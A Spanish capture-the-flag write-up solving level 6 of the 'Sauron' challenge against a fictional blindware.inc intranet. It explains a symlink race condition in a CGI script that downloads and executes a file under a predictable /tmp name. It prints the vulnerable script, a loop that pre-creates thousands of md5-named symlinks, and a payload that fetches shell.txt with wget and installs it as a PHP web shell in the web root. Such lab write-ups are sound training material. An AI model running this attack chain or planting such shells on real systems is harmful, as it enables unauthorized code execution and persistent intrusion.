SecGame #1: Sauron - Resolución Nivel 6

Saludos nuevamente,

nos encontramos ya en el penúltimo de los niveles de este reto, que esta ocasión hemos resuelto con una semana entera de retraso, debido a los desajustes propios de los periodos vacacionales. Por ello, sin perder más tiempo, vamos con su resolución.

En este sexto nivel, una vez obtenido el acceso a intranet.blindware.inc lo primero que vamos a encontrar es un fichero de nombre “moved.html”, que parece querernos redirigir hacia una IP de clase A: 10.50.150.200, además de este fichero "moved.html", nos encontramos un directorio de nombre cgi-bak en el cual aparecen numerosos scripts, que podemos descargar en lo que parece un backup del mismo.

Podemos deducir, por tanto, que la intranet se ha movido de este sistema al recien descubierto 10.50.150.200, y que además en el proceso de mover cosas, algunos scripts, sin que esté muy claro el motivo, han quedado en este sistema. Este es un escenario relativamente común en entornos de producción maduros, en los que por motivos de rendimiento, u otros, partes de los aplicativos o servicios son migrados a nuevos sistemas. Esta migración, eventualmente, puede tener como consecuencia el olvido de restos de información significativa en el sistema inicial.

De momento, lo primero que debemos hacer es bajar el fichero de backup, puesto que estos siempre son una fuente de información muy útil para nuestros propósitos: códigos fuentes, contraseñas, y otra variedad de información están contenidas en ellos.

Ahora es el momento de revisar los códigos fuentes de los ficheros almacenados en el servidor. Esta es una tarea para la que sólo hay recomendaciones, pero no una técnica definitiva. Lo que deberemos buscar, generalmente son: entradas y salidas de datos provinientes del usuario, modificaciones sobre los datos del usuario (concatenaciones, alteraciones, etc) y por último llamadas a funciones potencialmente inseguras y/o con riesgo potencial ( dependerá del lenguaje en el que nos encontremos, pero serán funciones principalemente de ejecución de comandos, de trabajo con memoria, etc ).

De su revisión, y con un poco de paciencia, obtenemos dos datos, más o menos relevantes:

1. Únicamente 2 ficheros producen salidas a disco

2. Únicamente 1 fichero admite entradas de usuario

Vamos a revisar el código fuente de estos 2 ficheros.

PhoneBook

#!/bin/sh

# Phonebook example as shell script

phonebook=sh_phone.dat

function phonebook_add
{
if [ "$value1" = "" ]; then
echo "Name is required!"
return
fi
if [ -z "$value2" ]; then
echo "Phone is required!"
return
fi

entry=`grep $value1 $phonebook`
if [ "$entry" = "" ]; then
echo "$value1 $value2" >>$phonebook
if [ $? ]; then
echo "Entry $value1 added successfully!"
else
echo "Unable to add to $phonebook. Contact Webmaster."
fi
else
echo "Entry $value1 already exists!"
fi
}
function phonebook_delete
{
if [ "$value1" = "" ]; then
echo "Name is required!"
return
fi

entry=`grep $value1 $phonebook`
if [ "$entry" != "" ]; then
mv $phonebook $phonebook.tmp
grep -v $value1 $phonebook.tmp >$phonebook
if [ $? ]; then
echo "Entry $value1 deleted successfully!"
else
echo "Unable to delete from $phonebook. Contact Webmaster."
fi
else
echo "Entry $value1 not found in the phonebook."
fi
}

function phonebook_search
{
if [ "$value1" = "" ]; then
echo "Name is required!"
return
fi

entry=`grep $value1 $phonebook`
if [ "$entry" != "" ]; then
name=`echo "$entry" | cut -f1 -d' '`
phone=`echo "$entry" | cut -f2 -d' '`
echo "Name = $name\nPhone = $phone"
else
echo "Entry $value1 not found in the phonebook."
fi
}

# Main program

# send the MIME header first
echo "Content-type: text/plain"
echo

# get the length of the cgi content
# not used here since read can read free form input
# echo "CONTENT_LENGTH = $CONTENT_LENGTH"

# read the cgi content
read cgiStr
# echo "input read = $cgiStr"

# process the received input string
# first split cgiStr using the '&' as separator
field1Encoded="${cgiStr%%&*}"
cgiStr="${cgiStr#*&}"
field2Encoded="${cgiStr%%&*}"
cgiStr="${cgiStr#*&}"
field3Encoded="$cgiStr"

# decode the string
# change '+'s to ' 's
# translate hex characters - not implemented here
field1=`echo $field1Encoded | tr '+' ' '`
field2=`echo $field2Encoded | tr '+' ' '`
field3=`echo $field3Encoded | tr '+' ' '`

# split the string into name and value
# name1=${field1%=*}
value1="${field1#*=}"
# name2=${field2%=*}
value2="${field2#*=}"
# name3=${field3%=*}
value3="${field3#*=}"
# value3 has an extra character at the end because of the free form read
# echo :$value3: $value1 $value2
# call appropriate function depending on ACTION
if [ "${value3#ADD}" != "$value3" ]; then
phonebook_add
elif [ "${value3#DELETE}" != "$value3" ]; then
phonebook_delete
else
phonebook_search
fi

do_passv.cgi

#!/bin/sh

rm /tmp/tmp_*

TMP_NAME="/tmp/tmp_"`echo $RANDOM | md5sum | cut -f1 -d" "`

wget -O $TMP_NAME --no-check-certificate https://127.0.0.1/doit.txt 2> /dev/null

chmod +x $TMP_NAME

exec $TMP_NAME


Llegados a este punto, nos podemos empeñar en que el fallo de seguridad está en la agenda de teléfonos porque es el script que admite entrada de parámetros. La realidad es bien distinta, es cierto que la agenda de teléfonos es un script bastante cutre, y bastante mal programado, pero por mucho que nos empeñemos no vamos a obtener un fallo de seguridad de él, ya que en realidad no realiza ninguna operación comprometida con los datos.

Otro caso muy diferente es el pequeño script. Para empezar hacer una operación que siempre es crítica: intenta ejecutar algo. El script, a simple vista, parece que genera un fichero aleatorio en disco, con un contenido descargado de un servidor web, para luego ejecutarlo.

Pues, aunque no lo parezca, este es un script inseguro. El motivo de su inseguridad, que deriva en una condición de carrera ( race condition ) estriba en el insuficiente espacio de colisión que aporta la variable $RANDOM. Por defecto, $RANDOM, genera 32K valores, que el script transforma en una cadena md5, es decir, los valores del 0 al 32767 ( a ojo ) son convertidos a un string md5, sobre el que se guarda el fichero, para luego ser ejecutado.

Además de eso, no se chequea la existencia previa del fichero, y únicamente hay un guiño leve a la seguridad, pues se borran ficheros anteriores. Al no chequear la existencia previa, otro usuario puede haber creado un enlace simbólico a otro fichero, y este será el que se ejecute en detrimento del nuestro. Además, el borrar ficheros, no sirve, a menos que tengamos permisos para hacerlo. Dicho de otra forma, este script sólo borraría cualquier fichero si el usuario que lo ejecutara fuera root. En ese caso, la race condition no sería “inexplotable”, pero sí que se dificultaría su explotación, puesto que se tendrían que generar los enlaces entre el borrado, y la ejecución, existiendo una ventana de tiempo muy reducida para ello.

Por tanto, nuestro vector de ataque se fundamenta en pregenerar enlaces simbólicos con nombre tmp_md5string, donde md5string será una cadena que contendrá la codificación md5 de los strings del 1 al 32767. Y aquí nos enfrentamos a una pequeña complejidad para la explotación, el número de enlaces que podemos crear en el sistema de ficheros, está relacionado directamente con 2 parámetros:

o Para enlaces simbólicos será igual al número de inodos disponibles en el sistema de ficheros.

o Para enlaces duros, será igual al límite de ficheros que se permite como máximo en un directorio, en caso de que el sistema de ficheros no consuma inodos al crear enlaces duros ( p.ej ext3 ), o al número de enlaces duros en caso de que los consuma.

Para el caso que nos ocupa, el directorio /tmp es tiene la sisguientes características:
tmpfs on /tmp type tmpfs (rw,size=4M)

Por tanto, dado que es un sistema tmpfs, se pueden crear tantos enlaces como inodos disponibles.

Filesystem Inodes IUsed IFree IUse% Mounted on
tmpfs 15674 8 15666 1% /tmp

Así que debemos crear un script, que genere enlaces simbólicos, hasta completar el número de inodos, permitiéndolos la explotación de la race condition, y que tras su ejecución nos cree una copia de una shell en php. Vamos a ello.

#!/bin/bash

MINNUM=1;

MAXNUM=15666;


for number in `seq $MINNUM $MAXNUM`; do

TMP_NAME="/tmp/tmp_"`echo $number | md5sum | cut -f1 -d" "`

ln -s /tmp/exploit $TMP_NAME

done


El script es bastante sencillo, simplemente recorre de MINNUM a MAXNUM, generando enlaces simbólicos ( codificados en MD5 ) al fichero /tmp/exploit. Cuyo contenido puede ser bastante parecido al siguiente:

#!/bin/bash


wget http://IP/shell.txt

cp shell.txt /var/www/intranet/htdocs/shell.php

chmod +x /var/www/intranet/htdocs/shell.php


En definitiva, copiamos una shell en PHP, a disco, y la movemos al directorio web del usuario intranet, sin olvidarnos de adecuar los permisos de ejecución.

Todos estos ficheros, los subimos al servidor al directorio /tmp, mediante los privilegios que tenemos en el usuario blindware y ejecutamos el exploit con ese usuario.

Cuando ejecutemos el exploit, este tardará un tiempo considerable en generar todos los enlaces simbólicos, también podemos hacer que genere en vez de 15666, 1500, o la cifra que prefiramos, cuanto menor sea la cifra, menos posibilidades de explotación efectiva de la condición de carrera tendremos.

Una vez creados los enlaces simplemente ejecutamos el script con el fallo de seguridad:

o http://intranet.blindware.inc/cgi-bak/do_passv.cgi

Si la explotación falla obtendremos el resultado típico:

> ID: uid=501(intranet) gid=501(intranet) groups=501(intranet)
> UPTIME: 14:41:56 up 2:28, 2 users, load average: 0.00, 0.35, 0.42
> INFO: Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux

Cuando acertemos, simplemente veremos una pantalla en blanco. En ese momento, para nuestra satisfacción, tendremos una nueva shell en http://intranet.blindware.inc/shell.php

Y ejecutando nuestro primer comando ( id ), comprobaremos que ya somos usuario intranet:

o uid=501(intranet) gid=501(intranet) groups=501(intranet)

Con esto, habiendo ganado ejecución de comandos con otro usuario, podemos decir que hemos concluido este nivel, y que ya estamos a sólo un paso del final. ¡Hasta dentro de 15 días!